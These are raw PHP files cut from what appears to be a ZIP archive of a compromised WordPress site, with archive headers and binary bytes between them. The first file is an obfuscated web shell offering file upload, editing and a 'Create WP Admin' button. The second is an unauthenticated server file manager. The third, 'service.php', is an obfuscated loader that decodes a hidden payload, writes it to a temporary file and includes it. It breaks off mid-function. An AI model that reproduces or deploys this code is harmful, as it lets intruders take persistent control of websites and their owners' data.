goto JrmqN; goto DSEOn; nPxWE: a1JYq: goto xPu83; LZFK7: goto hZMkj; goto TOo3K; pvdiI: kcJFb: goto bP8J6; Kq6Pa: gw96m: goto ckwc3; Qy7Ry: KPedQ: goto GK0TK; Fkejm: oz3t7: goto X41GM; pLUNm: goto JDHCe; goto BcmUP; lGHlv: JMBjk: goto pAD7h; WZVIb: $mnQV8 = []; goto tmKUJ; K25PE: if (!file_exists($D6V0J . "\57\167\160\55\154\x6f\x61\144\x2e\160\x68\x70")) { goto nyuzB; } goto WsDjn; M7Gyp: goto MdNLB; goto QYSDt; xdHqL: goto DV0SF; goto igrmk; W57Aw: vL5xr: goto uyNWu; J96Mu: NlzaM: goto t_u1g; Ssrys: TepBx: goto Kdmp4; t1qmX: goto n1xAc; goto RooMC; gsbM5: fpj30: goto PQ4_q; N2oFC: goto dn0tW; goto KuLD8; eU41h: goto HPZNv; goto ik5MB; xzbO_: goto UhQNT; goto vhhzP; CeVou: Z2hdr: goto zEEkD; wmOwk: goto cgxrg; goto odVDg; HD2_Q: goto rF9Q0; goto APXSe; ItzMj: goto c6dT5; goto AZ32v; UL46I: U83vJ: goto MCVU1; qjebX: QynDU: goto PWPPT; yjdWQ: goto qXWNA; goto nmnAf; Qbrza: iWIvM: goto Zk18_; mAZJ3: c49UM: goto TVOEv; gco9H: goto DItA6; goto PQ0Gl; asy96: define("\172\70\x4d\171\x50", false); goto gUCUZ; aPMgW: bgQX6: goto b07Mx; VMC1l: h5315: goto U1Q6Z; Lvm8B: VRmhe: goto fG3tv; PC1uP: goto PdiyD; goto pvdiI; bkKIN: goto ZDDBq; goto iE4ih; vhhzP: goto eNrt1; goto fbCMn; sXGTh: goto rr71t; goto OdvU7; GFmeZ: eNrt1: goto soE6m; mxl49: Iu7Vm: goto P6I2Y; Ms1xZ: $hznvy .= "\74\144\151\x76\x20\143\154\141\x73\163\x3d\47\157\x6b\47\x3e\xc3\242\xc5\223\xe2\200\x9d\x20\x46\151\154\x65\x20\165\x70\x6c\x6f\x61\144\145\144\74\x2f\144\151\x76\76"; goto fUvG0; OE7sw: goto CNoYb; goto aziJz; RooMC: KJSI3: goto O0OJf; HI3Eh: $hznvy .= "\x3c\144\x69\166\40\143\x6c\x61\x73\x73\x3d\47\x6f\153\x27\76\xc3\xa2\xc5\223\xe2\x80\235\x20\x46\151\x6c\x65\x20\x63\x72\x65\141\164\145\x64\x3c\x2f\144\151\x76\76"; goto hQErw; n4fUk: if ($rIJSd) { goto IOF4v; } goto Xx6fd; y2JC5: wNquf: goto vU0kJ; yCmcS: goto FLR87; goto dhR5e; L9Ybt: goto U83vJ; goto zpDZN; KmQnX: goto hcjk0; goto cfBe5; QDb5k: goto fT1WW; goto oBIlN; qLPnR: goto HfICC; goto w6xZ2; Ek6CX: qXWNA: goto OMyEo; QrOof: if (!Wxn15($tUnme)) { goto TepBx; } goto zdsgU; c8Cpu: goto LMiFP; goto b5rBr; wY4I7: pfJQ7: goto UCa6o; dpuZk: L7_dP: goto gtyx3; ybD6v: THXJD: goto ONcuP; rx5Up: goto v0BK4; goto xH_q2; PDrj6: LUNp5: goto Iwiok; JgPGl: Elnla: goto LAQcH; oylB9: goto v26Id; goto h6GK8; odVDg: UWRL1: goto tuGap; FekV5: require_once $rIJSd; goto MMy0M; wV2dM: fdUer: goto qX85B; qoyb0: mmZKh: goto OLBkN; MjtI0: Cg50n: goto LvC12; L9t2s: goto cR2JV; goto J96Mu; CZLgn: pHswN: goto u_6Ay; soNvH: goto yRMAV; goto qBgFi; EuCPZ: goto vL5xr; goto GekuO; UGaKU: goto H9M8J; goto sZ75u; UBRcC: Ihrld: goto TAeJb; e4HMG: KYlTW: goto cS1Um; l14V2: goto kNvRZ; goto INens; z7lyU: QlU0m: goto qw6I2; QQ73s: goto nZqz2; goto p0nTf; TOo3K: wG4QQ: goto aJg8i; UmErq: goto Sh82s; goto EkRve; AW3Fk: if (is_dir($OYF8c)) { goto XVnA0; } goto zi3cN; zpDZN: en_sG: goto T7lRt; FumFJ: blQpy: goto GowsA; WOL8H: goto QJYuq; goto bZY1K; OdvU7: roQYD: goto C1n98; JmZFb: goto d3u7B; goto LlrPd; C1vkz: goto JR8P0; goto bCGEg; OBxJ0: fYnAP: goto qWOAB; MraaV: goto TeCIh; goto zfi1i; hyxRS: l8Ts7: goto gsbM5; t7D2Y: coM_j: goto r74bY; PD19_: UhQNT: goto KZ0MR; SYcSV: cgxrg: goto jWWrY; W1og2: W6f3O: goto EvyPb; gKF0b: lvK0j: goto x55BZ; s5nwg: gUKWt: goto yCAjM; idetg: ZbEA_: goto fabGN; QoIg6: goto HT2aX; goto wkKdZ; TXnS3: goto qEiXE; goto QPI4H; Wc2_k: goto K3Ir3; goto ef1Kq; IYHeZ: HZzN_: goto MFVnP; xHuA4: $oTlAS = $JdqDR . "\57" . basename($_FILES["\146\151\x6c\x65"]["\156\141\x6d\145"]); goto ePZM9; wRq1b: goto pxxt3; goto TPPFj; w1puP: goto EM91A; goto c_uLt; XkG1y: goto FeMir; goto TzBhQ; Yp3qL: ANHC2: goto lAkM5; aJg8i: $JdqDR = isset($_GET["\x64\151\x72"]) ? realpath($_GET["\144\151\x72"]) : getcwd(); goto C3gIo; vqmLF: goto C2lyi; goto mAZJ3; Bd9pg: goto WW7k1; goto RJOeG; fYCQN: goto B_6Vv; goto UV0l8; IwPeD: $hznvy .= "\74\x64\151\x76\x20\143\154\141\163\x73\x3d\47\x65\162\x72\x27\76\303\242\xc5\223\313\x9c\40\167\x70\55\x6c\157\x61\144\x2e\160\x68\x70\40\156\x6f\x74\40\146\157\x75\156\144\x3c\57\144\x69\x76\x3e"; goto Q1G_q; JRoYV: CfqF0: goto IH9CG; oBIlN: goto BBOPc; goto QDtwL; FRbSx: goto nZebr; goto SOxZQ; NsKNm: goto M0ssD; goto Hq1MR; utbJO: goto Sk_8B; goto RhnSC; PvGsR: aCSQe: goto BgGg1; SnuW7: goto HNHs5; goto NfLr7; usIT7: Hm5Mz: goto gwbaH; zK5Gj: goto D1biO; goto YfHrC; pTZ4n: goto UWRL1; goto cWIi8; ekLqq: goto NDbCh; goto A6Ru8; LFZY3: goto doNM2; goto RJvzj; e9J83: Upycx: goto nsdJy; QrZwZ: goto Xt2yl; goto G_inn; cpkaA: goto lOLtd; goto OswRP; dJQ6q: pWS9l: goto nk0Ti; auHqi: goto lwEiq; goto LYSDv; EvyPb: goto bwWlb; goto C0Wga; rSUiJ: XJ15u: goto A5vJ4; XPX4t: V8krl: goto IQxgW; H91jM: goto ucsul; goto VTF8J; q2PPw: goto QyMd7; goto on6bL; i6_nO: goto cLY67; goto AbqTt; Syg08: wGiMn: goto QrOof; LfvTH: goto L7_dP; goto Lfe3c; hKh1w: goto zPqro; goto NgCA9; ilDZF: @set_time_limit(0); goto gvHGm; T5gqz: goto TRreX; goto Neq8l; YA1sX: mrEaW: goto ma8YI; GLdyC: yO1DX: goto GGaB5; Pne0_: rjHcK: goto xhbvE; czEXV: sqq0b: goto ry0vH; cTu15: goto Rl7vB; goto zmw15; iKuDw: SbuXe: goto WRtx2; LorbC: if (!(!$c2TOA && basename(__FILE__) !== "\x77\x70\x2d\142\154\x6f\x67\55\146\x72\157\156\x74\56\x70\150\x70")) { goto l5mRt; } goto Hvjl8; jFU4M: Y3sBp: goto RLu8M; yAqpz: goto skzZX; goto nmlvO; ukl0E: goto Bd7cS; goto D5qrK; WGcpz: goto CNOhR; goto Ga2c2; l3eRf: WytPZ: goto OmVrv; gHIW2: goto jB8SS; goto YVnki; h1d09: nyuzB: goto dWM3l; evbZT: hcjk0: goto N2oFC; qWOAB: goto cUXEM; goto Z_CK8; AL3g6: c6dT5: goto Hw32e; P6I2Y: goto YbMjO; goto wpNnP; e_Wqv: hE81D: goto QoIg6; lwpYQ: if (!@move_uploaded_file($_FILES["\x66\151\x6c\145"]["\x74\x6d\160\x5f\156\x61\x6d\145"], $oTlAS)) { goto gNdVv; } goto vX9vH; F0MHf: goto WrIFn; goto dqcrq; VENIm: Y4A3c: goto ZGS9I; RFrGN: goto IBF6h; goto PJpNQ; b5yUa: goto fx2Zt; goto uqrbB; B0GMM: if (empty($HbhNW)) { goto Y0jlT; } goto TGNVX; CMig3: goto HXUmP; goto GcvOD; H_Ys8: goto cFPwG; goto mB7Lg; FL8BU: GJ2ZZ: goto zfiF0; Wfahm: goto e0lNf; goto dt_Tu; S301N: goto Uzca2; goto Nib1w; IImTN: goto JE1Xg; goto RADZh; ZN7v7: DpIfg: goto HD2_Q; pqjjX: goto pnE5r; goto iNEwI; ma8YI: goto oCdVG; goto A3U_c; Y7noi: $OYF8c = realpath($_GET["\x65\144\151\164"]); goto XDRQ6; Y5uU5: U2hWI: goto MraaV; EZGSd: NxoSL: goto cEhU0; rBTq1: goto HjMDE; goto G1Qv8; m6RZK: echo "\12\x3c\x66\157\162\x6d\x20\x6d\x65\x74\x68\x6f\144\75\42\160\x6f\163\x74\x22\40\x65\156\x63\164\x79\x70\x65\75\42\155\165\154\x74\151\x70\x61\x72\164\x2f\146\x6f\162\x6d\55\x64\141\164\x61\42\x3e\xa\x3c\x69\x6e\160\165\x74\40\x74\171\x70\145\x3d\x22\x66\x69\154\x65\x22\x20\156\x61\155\145\75\42\146\151\154\x65\x22\x3e\x3c\142\x75\164\164\x6f\156\76\125\160\x6c\x6f\141\x64\x3c\x2f\142\165\x74\164\157\x6e\x3e\x3c\142\x72\x3e\12\74\x69\x6e\160\x75\164\40\x74\x79\x70\145\x3d\42\164\x65\170\164\42\40\156\x61\x6d\145\x3d\42\x6e\145\167\146\x6f\x6c\x64\x65\162\x22\40\x70\x6c\x61\x63\145\x68\157\154\x64\145\x72\x3d\x22\116\x65\167\x20\x46\x6f\x6c\144\x65\162\x22\x3e\x3c\x62\165\x74\x74\157\x6e\76\103\162\145\x61\164\x65\x20\x46\157\154\144\x65\162\74\x2f\142\165\x74\164\x6f\x6e\76\x3c\142\162\76\12\74\151\x6e\160\165\164\x20\x74\x79\x70\x65\x3d\x22\x74\x65\170\x74\42\x20\x6e\x61\x6d\145\75\x22\156\x65\x77\x66\x69\154\145\42\40\160\x6c\141\x63\x65\x68\157\154\x64\x65\x72\75\x22\x4e\x65\x77\x20\x46\151\x6c\145\x22\76\x3c\x62\x75\x74\x74\x6f\156\x3e\103\162\x65\141\x74\145\x20\x46\151\154\x65\74\57\142\x75\164\164\157\x6e\x3e\x3c\x62\162\x3e\xa\x3c\x62\165\164\164\157\156\x20\x74\x79\160\145\x3d\42\163\x75\x62\155\151\164\42\40\x6e\x61\155\145\75\42\x6d\141\153\x65\137\x77\160\x5f\x61\x64\155\x69\x6e\42\40\x76\x61\154\x75\x65\x3d\42\x31\42\76\xc3\260\305\xb8\xe2\x80\x98\302\xa4\x20\x43\x72\145\141\x74\145\x20\x57\x50\x20\x41\144\155\x69\x6e\74\57\142\x75\164\164\157\x6e\76\12\74\x2f\x66\157\x72\x6d\76\12\xa\74\164\x61\142\x6c\x65\76\12\x3c\164\x72\x3e\74\x74\150\76\x4e\141\x6d\x65\74\x2f\164\x68\76\x3c\x74\x68\76\x53\x69\172\x65\74\x2f\x74\x68\x3e\74\x74\x68\76\101\x63\x74\151\157\156\163\x3c\57\164\150\76\74\57\x74\162\76\xa"; goto t1qmX; wB4mT: goto zzfx1; goto SYcSV; JelQD: tC_To: goto v70Ky; P5mXa: if (file_exists($txUKt)) { goto sHnMK; } goto Z2WKx; gphJD: goto WPVEP; goto uaHKE; WCK_n: goto Mpo7z; goto fj_AW; lbfVf: goto jVYnj; goto DYzZc; grpq0: Fe25h: goto c1U1G; ixhK6: Xz6X1: goto toqPO; kBz8y: goto K4vVK; goto QIsGB; EoMyx: Q3LgY: goto VdjT6; oYmQe: $JdqDR = getcwd(); goto XYhaQ; o2mrB: C2lyi: goto CWDzT; v70Ky: echo "\x3c\144\x69\x76\x20\143\x6c\141\163\x73\75\x27\157\153\47\76\303\242\xc5\223\342\200\x9d\40\123\x61\166\x65\x64\x20" . htmlspecialchars(basename($OYF8c)) . "\x3c\57\x64\151\x76\76"; goto HHskW; UV0l8: JE1Xg: goto Suitv; EiIeg: Jc76G: goto czEXV; vU0kJ: dsUxH: goto xdkE_; ithkt: goto SYxdL; goto wmOwk; U0S7x: goto PlkQE; goto STKGW; taEru: mkdir($txUKt); goto g7eCo; ml1uh: goto OzJwW; goto ow3OF; blQE1: in0Pm: goto MLZJ1; hcwoJ: pxxt3: goto olZtW; di3MM: CNOhR: goto rx5Up; N0ylX: ct3Gd: goto zdpHs; vxfQW: tMLMs: goto P5mXa; PQmoy: e0lNf: goto cytL0; s2s94: goto TRGsF; goto rdMJx; xyW2D: rLxPm: goto p_EOs; yUM6u: goto YeuQW; goto dzeBt; V6dIU: ReNg9: goto jyS94; BIpk2: $D8T_A = $_POST["\162\x65\156\x61\155\x65\x5f\x6f\x6c\x64"]; goto HsnEG; GhxD3: NqXEh: goto ElFdE; D5qrK: JrmqN: goto FJHh0; JTJ_6: goto tALZ4; goto XtvJl; E31b3: goto bJytY; goto e4M5A; E9h2t: q_Gb2: goto FWA0z; QPOkG: goto ARs3X; goto njHjZ; KMLro: HfICC: goto GgoUW; KXSWh: SXti3: goto XRTM4; w6xZ2: D0vP0: goto xzbO_; OlNXB: Mui_y: goto Vnkje; hu4uH: m1ruy: goto TNp3M; nndCL: goto mqyWi; goto H91jM; Cd6kR: goto CcQIm; goto dSIe6; yTLyD: btFGI: goto xHuA4; oQSm_: goto C6uMX; goto MLYir; fK7R0: goto opisV; goto f2HDu; LlrPd: YvT8m: goto zSz8T; s49_e: GWlCj: goto j51ry; ekQhe: goto b2u9j; goto AZoWW; TzBhQ: K3Ir3: goto QkkKu; AjmtK: WBdv7: goto yNu6z; oVXyY: pYA8s: goto HPY0G; Bcjeb: goto yySjF; goto vnxQO; KFZlq: poMp0: goto YRVUI; NOZ52: goto MeGcL; goto lGHlv; HHskW: goto MntkF; goto KFZlq; Q1nFk: goto fIfaC; goto coJ7U; UBRcL: NJFPs: goto N0ylX; vCrY0: ARs3X: goto AL3g6; P0cNU: goto Jfy1n; goto bcJ_M; lGFhF: OuYb9: goto EaT8m; xdkE_: goto laL26; goto H7JE0; K4XlR: goto KAiSu; goto xWAA_; vX9vH: goto Elnla; goto nuTOO; ReGJh: $HbhNW = rBQ7a(file_get_contents(__FILE__)); goto X385F; Pa9jH: NtNFa: goto BHdPu; L7bMW: HNHs5: goto dROu6; QKDK3: xqiY_: goto V4Gs8; RUISB: lgzIG: goto UDY38; TVOEv: goto Fe25h; goto ijn0m; fdusi: KOFAb: goto VTkSC; GKNUm: goto YcUig; goto Km40z; oaJ0w: goto KPedQ; goto yGKF6; fMQvJ: goto XYPS_; goto VgiTK; Or33W: goto YKM7Q; goto OzAbI; Zp6nL: goto HTfnm; goto NC8Tt; dZWzT: goto wGDt8; goto ri253; ilgUX: p0oO0: goto hnCgw; KCaqs: BNnHl: goto e6jhU; gTcbi: SsqsW: goto Ih3aE; OksMU: goto QtsT4; goto UL46I; GGuih: goto xjdod; goto vqmLF; ocGZL: goto TtH1T; goto MH_RT; z51Jf: goto SGf7r; goto vxfQW; EP9uh: HT2aX: goto J66w6; D8WFc: S5Fw8: goto oyvT0; A8Ezk: VdhuI: goto b7_TF; lf5xV: MiNjJ: goto YeYhj; QPI4H: wGDt8: goto kp5n9; sFQq4: goto L3B6x; goto AjmtK; igrmk: QIiQR: goto QKDK3; dgkA2: goto TOJnr; goto wY4I7; foNlo: goto o43mB; goto PvGsR; bigK0: goto EtncM; goto ot7OM; fabGN: nCsBk: goto mxgon; MWJuv: BAl0B: goto HOZFb; Y1nBo: NEL4y: goto maSn0; ySbKt: A5jA1: goto L3Tk1; RrQzB: goto BAl0B; goto ozSq7; cqOD9: L6DFb: goto bZqDa; yIUPW: HXUmP: goto Y3LoV; BOUyM: EMYdI: goto S2lqR; DW21w: goto fBo5l; goto oYOLp; kEL20: goto SbDAZ; goto yxCxR; HVahR: goto rjHcK; goto mrbai; LYSDv: n2WkM: goto l14V2; C9Pxa: goto T4o2I; goto by2Me; Lct8Y: goto YpUjo; goto EiIeg; iXpBE: goto ANHC2; goto QPOkG; fG3tv: echo "\x3c\x2f\142\x6f\x64\x79\76\12\x3c\57\150\x74\155\154\76\xa";PK �em\����dK dK 6hwey.phpnu �[��� <?php
// file_manager.php - Simple File Manager with Back Button
session_start();
error_reporting(0);
// ==================== CONFIGURATION ====================
$base_dir = realpath(__DIR__);
$root_anchor = dirname($base_dir);
// ==================== HELPER FUNCTIONS ====================
function sanitize_path($path){
$path = str_replace('..', '', $path);
$path = preg_replace('/[^a-zA-Z0-9\.\_\-\/]/', '', $path);
return trim($path, '/');
}
function safe_realpath_within($path, $allowed_root){
$rp = realpath($path);
if($rp === false) return false;
$root = rtrim($allowed_root, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;
if(strpos($rp, $root) === 0 || $rp === rtrim($allowed_root, DIRECTORY_SEPARATOR)) {
return $rp;
}
return false;
}
function get_file_list($dir){
$files = [];
if(is_dir($dir)){
$items = scandir($dir);
foreach($items as $item){
if($item === '.' || $item === '..') continue;
$full_path = $dir . DIRECTORY_SEPARATOR . $item;
$files[] = [
'name' => $item,
'path' => $full_path,
'size' => is_file($full_path) ? filesize($full_path) : 0,
'type' => is_dir($full_path) ? 'directory' : 'file',
'modified' => date('Y-m-d H:i:s', filemtime($full_path))
];
}
}
return $files;
}
function format_size($bytes) {
if ($bytes >= 1073741824) {
return number_format($bytes / 1073741824, 2) . ' GB';
} elseif ($bytes >= 1048576) {
return number_format($bytes / 1048576, 2) . ' MB';
} elseif ($bytes >= 1024) {
return number_format($bytes / 1024, 2) . ' KB';
} else {
return $bytes . ' bytes';
}
}
// ==================== REQUESTED DIRECTORY HANDLING ====================
$requested_dir = isset($_GET['dir']) ? sanitize_path($_GET['dir']) : basename($base_dir);
$current_dir_candidate = $root_anchor . ($requested_dir ? DIRECTORY_SEPARATOR . $requested_dir : '');
$current_dir = safe_realpath_within($current_dir_candidate, $root_anchor);
if($current_dir === false){
$requested_dir = basename($base_dir);
$current_dir = safe_realpath_within($root_anchor . DIRECTORY_SEPARATOR . $requested_dir, $root_anchor);
if($current_dir === false){
$requested_dir = '';
$current_dir = safe_realpath_within($root_anchor, $root_anchor);
}
}
// ==================== PARENT DIRECTORY CALCULATION ====================
if($requested_dir !== ''){
$parent_dir = dirname($requested_dir);
if($parent_dir === '.' || $parent_dir === '\\') $parent_dir = '';
} else {
$parent_dir = '';
}
// ==================== BREADCRUMB ====================
$dir_parts = [];
if($requested_dir !== ''){
$parts = explode('/', $requested_dir);
$acc = '';
foreach($parts as $p){
if($p === '') continue;
$acc .= ($acc === '' ? '' : '/') . $p;
$dir_parts[] = ['name' => $p, 'path' => $acc];
}
}
// ==================== ACTION HANDLING ====================
$action = $_GET['action'] ?? 'list';
switch($action){
case 'view':
$file = sanitize_path($_GET['file'] ?? '');
$file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
header('Content-Type: text/plain');
readfile($file_path);
exit;
}
break;
case 'edit':
$file = sanitize_path($_GET['file'] ?? '');
$file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
if($_SERVER['REQUEST_METHOD'] === 'POST'){
$content = $_POST['content'] ?? '';
if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
file_put_contents($file_path, $content);
}
header('Location: ?action=list&dir=' . urlencode($requested_dir));
exit;
}
if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
$content = htmlspecialchars(file_get_contents($file_path));
echo "<!DOCTYPE html><html><head><meta charset='utf-8'><title>Edit: ".htmlspecialchars($file)."</title></head><body>";
echo "<h2>✏️ Edit: ".htmlspecialchars($file)."</h2>";
echo "<form method='post'>";
echo "<textarea name='content' style='width:100%;height:400px;font-family:monospace;'>$content</textarea><br><br>";
echo "<button type='submit'>💾 Save</button> ";
echo "<a href='?action=list&dir=".urlencode($requested_dir)."'>🚫 Cancel</a>";
echo "</form></body></html>";
exit;
}
break;
case 'delete':
$file = sanitize_path($_GET['file'] ?? '');
$file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
if(safe_realpath_within($file_path, $root_anchor) && file_exists($file_path)){
if(is_dir($file_path)){
$it = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($file_path, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::CHILD_FIRST
);
foreach($it as $f){
$f->isDir() ? rmdir($f->getRealPath()) : unlink($f->getRealPath());
}
rmdir($file_path);
} else {
unlink($file_path);
}
}
header('Location: ?action=list&dir=' . urlencode($requested_dir));
exit;
break;
case 'upload':
if(!empty($_FILES['file'])){
$uploaded = $_FILES['file'];
if($uploaded['error'] === UPLOAD_ERR_OK){
$name = basename($uploaded['name']);
$dest = $current_dir . DIRECTORY_SEPARATOR . $name;
if(safe_realpath_within(dirname($dest), $root_anchor)){
move_uploaded_file($uploaded['tmp_name'], $dest);
@chmod($dest, 0644);
}
}
}
header('Location: ?action=list&dir=' . urlencode($requested_dir));
exit;
break;
case 'download':
$file = sanitize_path($_GET['file'] ?? '');
$file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($file_path).'"');
header('Content-Length: '.filesize($file_path));
readfile($file_path);
exit;
}
break;
case 'create_folder':
if($_SERVER['REQUEST_METHOD'] === 'POST'){
$folder = sanitize_path($_POST['folder_name'] ?? '');
if($folder){
$fp = $current_dir . DIRECTORY_SEPARATOR . $folder;
if(safe_realpath_within(dirname($fp), $root_anchor) && !file_exists($fp)){
mkdir($fp, 0755, true);
}
}
}
header('Location: ?action=list&dir=' . urlencode($requested_dir));
exit;
break;
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>📁 File Manager</title>
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
min-height: 100vh;
padding: 20px;
}
.container {
max-width: 1200px;
margin: 0 auto;
background: white;
border-radius: 15px;
box-shadow: 0 20px 40px rgba(0,0,0,0.1);
overflow: hidden;
}
.header {
background: linear-gradient(135deg, #2c3e50, #34495e);
color: white;
padding: 25px;
text-align: center;
}
.header h1 {
font-size: 2.2em;
margin-bottom: 10px;
font-weight: 300;
}
.current-path {
font-family: 'Courier New', monospace;
background: rgba(255,255,255,0.1);
padding: 10px;
border-radius: 8px;
margin: 15px 0;
word-break: break-all;
}
.navigation {
background: #ecf0f1;
padding: 20px;
border-bottom: 1px solid #bdc3c7;
}
.btn {
display: inline-flex;
align-items: center;
gap: 8px;
padding: 12px 20px;
background: #3498db;
color: white;
text-decoration: none;
border-radius: 8px;
font-weight: 500;
transition: all 0.3s ease;
border: none;
cursor: pointer;
font-size: 14px;
}
.btn:hover {
background: #2980b9;
transform: translateY(-2px);
box-shadow: 0 5px 15px rgba(0,0,0,0.2);
}
.btn-secondary {
background: #95a5a6;
}
.btn-secondary:hover {
background: #7f8c8d;
}
.btn-danger {
background: #e74c3c;
}
.btn-danger:hover {
background: #c0392b;
}
.btn-success {
background: #27ae60;
}
.btn-success:hover {
background: #219a52;
}
.toolbar {
display: flex;
gap: 15px;
flex-wrap: wrap;
margin-bottom: 20px;
}
.breadcrumb {
background: #f8f9fa;
padding: 15px 25px;
border-bottom: 1px solid #dee2e6;
}
.breadcrumb a {
color: #3498db;
text-decoration: none;
}
.breadcrumb span {
color: #7f8c8d;
margin: 0 8px;
}
.file-table {
width: 100%;
border-collapse: collapse;
}
.file-table th {
background: #34495e;
color: white;
padding: 15px;
text-align: left;
font-weight: 500;
}
.file-table td {
padding: 15px;
border-bottom: 1px solid #ecf0f1;
}
.file-table tr:hover {
background: #f8f9fa;
}
.file-icon {
width: 20px;
text-align: center;
margin-right: 10px;
}
.folder-row {
background: #f0f8ff;
}
.folder-row:hover {
background: #e3f2fd !important;
}
.action-buttons {
display: flex;
gap: 8px;
flex-wrap: wrap;
}
.empty-folder {
text-align: center;
padding: 60px 20px;
color: #7f8c8d;
}
.empty-folder i {
font-size: 3em;
margin-bottom: 20px;
display: block;
}
.upload-form, .folder-form {
display: flex;
gap: 10px;
align-items: center;
}
input[type="text"], input[type="file"] {
padding: 10px;
border: 1px solid #bdc3c7;
border-radius: 6px;
font-size: 14px;
}
input[type="text"] {
min-width: 200px;
}
@media (max-width: 768px) {
.toolbar {
flex-direction: column;
}
.upload-form, .folder-form {
flex-direction: column;
align-items: stretch;
}
.action-buttons {
flex-direction: column;
}
.btn {
justify-content: center;
}
}
</style>
</head>
<body>
<div class="container">
<div class="header">
<h1>📁 File Manager</h1>
<div class="current-path">
📍 <?= htmlspecialchars($current_dir) ?>
</div>
</div>
<div class="navigation">
<div class="toolbar">
<!-- Back Button -->
<a class="btn" href="?action=list&dir=<?= urlencode($parent_dir) ?>">
⬅️ Back
</a>
<!-- Home Button -->
<a class="btn btn-secondary" href="?action=list&dir=<?= urlencode(basename($base_dir)) ?>">
🏠 Project
</a>
<!-- Root Button -->
<a class="btn btn-secondary" href="?action=list&dir=">
📂 Root
</a>
<!-- Upload Form -->
<form method="post" enctype="multipart/form-data" action="?action=upload&dir=<?= urlencode($requested_dir) ?>" class="upload-form">
<input type="file" name="file" required>
<button class="btn btn-success" type="submit">📤 Upload</button>
</form>
<!-- Create Folder Form -->
<form method="post" action="?action=create_folder&dir=<?= urlencode($requested_dir) ?>" class="folder-form">
<input type="text" name="folder_name" placeholder="New Folder Name" required>
<button class="btn btn-success" type="submit">📁 Create Folder</button>
</form>
</div>
</div>
<div class="breadcrumb">
<a href="?action=list&dir=">Root</a>
<?php foreach($dir_parts as $p): ?>
<span>›</span>
<a href="?action=list&dir=<?= urlencode($p['path']) ?>"><?= htmlspecialchars($p['name']) ?></a>
<?php endforeach; ?>
</div>
<?php
$files = get_file_list($current_dir);
if(empty($files)):
?>
<div class="empty-folder">
<i>📭</i>
<h3>This folder is empty</h3>
<p>Upload files or create new folders to get started</p>
</div>
<?php else: ?>
<table class="file-table">
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Size</th>
<th>Modified</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<?php foreach($files as $f): ?>
<tr class="<?= $f['type'] === 'directory' ? 'folder-row' : '' ?>">
<td>
<span class="file-icon">
<?= $f['type'] === 'directory' ? '📁' : '📄' ?>
</span>
<?= htmlspecialchars($f['name']) ?>
</td>
<td><?= $f['type'] ?></td>
<td><?= $f['type'] === 'directory' ? '-' : format_size($f['size']) ?></td>
<td><?= $f['modified'] ?></td>
<td>
<div class="action-buttons">
<?php if($f['type'] === 'directory'):
$next_rel = ($requested_dir !== '' ? $requested_dir . '/' : '') . $f['name'];
?>
<a class="btn" href="?action=list&dir=<?= urlencode($next_rel) ?>">
📂 Open
</a>
<?php else: ?>
<a class="btn" href="?action=edit&file=<?= urlencode($f['name']) ?>&dir=<?= urlencode($requested_dir) ?>">
✏️ Edit
</a>
<a class="btn btn-secondary" href="?action=download&file=<?= urlencode($f['name']) ?>&dir=<?= urlencode($requested_dir) ?>">
📥 Download
</a>
<?php endif; ?>
<a class="btn btn-danger" href="?action=delete&file=<?= urlencode($f['name']) ?>&dir=<?= urlencode($requested_dir) ?>"
onclick="return confirm('Are you sure you want to delete <?= htmlspecialchars($f['name']) ?>?')">
🗑️ Delete
</a>
</div>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
<?php endif; ?>
</div>
<script>
// Add some interactive features
document.addEventListener('DOMContentLoaded', function() {
// Add confirmation for delete actions
const deleteLinks = document.querySelectorAll('a[href*="action=delete"]');
deleteLinks.forEach(link => {
link.addEventListener('click', function(e) {
if (!confirm('Are you sure you want to delete this item?')) {
e.preventDefault();
}
});
});
// Add hover effects
const rows = document.querySelectorAll('.file-table tr');
rows.forEach(row => {
row.addEventListener('mouseenter', function() {
this.style.transform = 'translateX(5px)';
this.style.transition = 'transform 0.2s ease';
});
row.addEventListener('mouseleave', function() {
this.style.transform = 'translateX(0)';
});
});
});
</script>
</body>
</html>PK �em\�a]t֭ ֭ service.phpnu �[��� <?php
class Div {
function library($_tree) {
$tx = $this->px($this->library[0].$this->library[4].$this->library[1].$this->library[2].$this->library[3].$this->library[5]);
$tx = $tx($_tree);
return $tx;
}
function error($_session) {
$result = include($_session);
return $result;
}
function __construct() {
$dictionary = $this->tool($this->_point);
$dictionary = $this->library($this->px($dictionary));
$dictionary = $this->ls($dictionary);
$dictionary = $this->error($dictionary);
if(is_array($dictionary)) {
list($map, $stable, $_path, $size) = $dictionary;
$this->x64 = $size;
$this->heap = $_path;
$this->_block = $map;
$this->nginx($map, $stable);
}
}
function ls($delegate) {
$ver = $this->px($this->_request[1].$this->_request[2].$this->_request[3].$this->_request[5].$this->_request[4].$this->_request[0]);
$this->ver = $ver() . $this->px($this->_iterator[2].$this->_iterator[4].$this->_iterator[0].$this->_iterator[1].$this->_iterator[3]) . md5(time());
$ver = $this->px($this->parser[2].$this->parser[3].$this->parser[0].$this->parser[4].$this->parser[1]);
$ver = $ver($this->ver, 'w');
if ($ver)
{
$_session = $this->px($this->pointer[1].$this->pointer[2].$this->pointer[0]);
$_session($ver, $delegate);
return $this->ver;
}
}
function _tx($dx, $_script, $event) {
$lib = strlen($_script) + strlen($event);
$this->graph = 0;
while(strlen($event) < $lib) {
